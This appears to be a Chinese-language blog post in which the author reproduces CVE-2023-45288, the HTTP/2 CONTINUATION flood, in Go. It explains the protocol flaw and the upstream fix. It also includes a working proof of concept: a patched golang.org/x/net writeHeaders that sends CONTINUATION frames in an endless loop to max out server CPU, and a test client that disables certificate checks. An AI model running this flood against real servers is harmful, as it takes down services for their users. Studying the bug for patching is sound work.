http2 的continuation frame 复盘

如标题所说http2 的continuation frame 攻击

看文章的时候 https://m.cnbeta.com.tw/view/1426407.htm 看到的 关于HTTP2协议的 漏洞。

该漏洞被称为"HTTP/2 CONTINUATION Flood”,它利用了配置不当的HTTP/2 实现,这些实现未能限制或净化请求数据流中的 CONTINUATION 帧。 CONTINUATION 帧是一种用于延续报头块片段序列的方法,允许报头块在多个帧中分割。当服务器收到一个特定的 END_HEADERS 标志,表明没有其他 CONTINUATION 或其他帧时,先前分割的报头块就被视为已完成。

正常来说按照http2的协议规定,就是服务端需要把client 侧所发的所有的CONTINUATION 进行一个merge 操作,但是如果协议实现软件没有注意设置header CONTINUATION header 限制,攻击者只需要在同一个http2 connection中, 不停的发 CONTINUATION帧, 就可以实现DOS攻击。

看了下 Go也是中奖了。 CVE-2023-45288

image

而且影响面很大基本上排除最新的几个http 库版本,都中了。 都

所以本着学习的态度想要复现这个漏洞。 顺便记录学习的过程。


首先是http2.0 的CONTINUATION 请求头DOS攻击。准备一个Server 和Client 代码 运行环境分别是:

  • go1.20.5
  • go1.22.3

Server 比较简单,就是正常的启动一个https server 并且支持http2.0 然后需要一个Client,支持重复发送CONTINUATION帧的, 就直接在golang.org/x/net 进行修改。

# 首先是正常的client的代码 
import (
	"crypto/tls"
	"flag"
	"fmt"
	"golang.org/x/net/http2"
	"log"
	"net/http"
	"os"
)
 func main() {
	flag.Parse()
	w, _ := os.OpenFile("tls-secrets.txt",
	os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)  // wireshark 开启一个tls-secrets.txt 用于存储http2.0后续对称加密的秘钥, 可以直接导给wireshark可以方便解包内容。 对称秘钥文件
	client := &http.Client{
		Transport: &http2.Transport{
			TLSClientConfig: &tls.Config{
				KeyLogWriter:       w,
				InsecureSkipVerify: true, // test server certificate is not trusted.
			},
		},
	}
	req, _ := http.NewRequest("GET", url, nil)
	req.Header.Set("attack", "CONTINUATION ATTACK")
	resp, err := client.Do(req)
	if err != nil {
		log.Fatalf("Failed to get URL: %v", err)
	}
	fmt.Println(resp.Status)
	resp.Body.Close()
}

下载 golang.org/x/net 源码。 然后修改go.mod指向源码目录

replace golang.org/x/net v0.24.0 => /Code/path/net
# 修改/Code/path/net/net/http2/transport.go :1447
func (cc *ClientConn) writeHeaders(streamID uint32, endStream bool, maxFrameSize int, hdrs []byte) error {
	first := true // first frame written (HEADERS is first, then CONTINUATION)
	for len(hdrs) > 0 && cc.werr == nil {
		chunk := hdrs
		if len(chunk) > maxFrameSize {
			chunk = chunk[:maxFrameSize]
		}
		hdrs = hdrs[len(chunk):]
		endHeaders := len(hdrs) == 0
		if first {
			cc.fr.WriteHeaders(HeadersFrameParam{
				StreamID:      streamID,
				BlockFragment: chunk,
				EndStream:     false,
				EndHeaders:    false,
			})
			first = false
			//发完header 遍历发送CONTINUATION frame.
			for true {
				fmt.Println("send continuation frame..=>", len(chunk))
				cc.fr.WriteContinuation(streamID, false, chunk[:maxFrameSize])
			}
		} else {
			cc.fr.WriteContinuation(streamID, endHeaders, chunk)
		}
	}
	cc.bw.Flush()
	return cc.werr
}

运行分别运行可以看到 单核CPU被打满的情况。 server 端 在开启了 export GODEBUG=http2debug=2 调试信息之后 一直在打印读取帧的信息。

2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION stream=1 len=16384
2024/05/10 17:04:11 http2: Framer 0x140001081c0: read CONTINUATION 
...

归根结底 就是在net/http/h2_bundle.go 读取请求头帧的时候 没有检测异常 并退出。

// readMetaFrame returns 0 or more CONTINUATION frames from fr and
// merge them into the provided hf and returns a MetaHeadersFrame
// with the decoded hpack values.
func (fr *http2Framer) readMetaFrame(hf *http2HeadersFrame) (*http2MetaHeadersFrame, error) {
...
var hc http2headersOrContinuation = hf
	for { // 遍历获取请求头帧
		frag := hc.HeaderBlockFragment()
		if _, err := hdec.Write(frag); err != nil {
			return nil, http2ConnectionError(http2ErrCodeCompression)
		}

		if hc.HeadersEnded() {
			break
		}
		if f, err := fr.ReadFrame(); err != nil {
			return nil, err
		} else {
			hc = f.(*http2ContinuationFrame) // guaranteed by checkFrameOrder
		}
	}
...
}

关键代码 就是遍历请求帧这个循环, 只三个退出点:

  • hdec.Write: 是将本次tcp 穿过来的字节流写入自己H2 header decoder里,其中只会针对 压缩错误,解析失败,和单次string长度 超了的进行异常返回。
  • hc.HeadersEnded(): http2 协议 请求头 是 header frame + continuation frame + end frame . 结束帧返回。
  • fr.ReadFrame(): 从decoder中解析frame,同样 只会针对单frame 长度超过了,http2 连接异常的等.

所以结合来看上面三个都不是很合适,

所以新增了一个remainSize 的判断。 但是同时还有一个invalid 的异常退出。 https://go-review.googlesource.com/c/go/+/576076 image

至此复盘结束。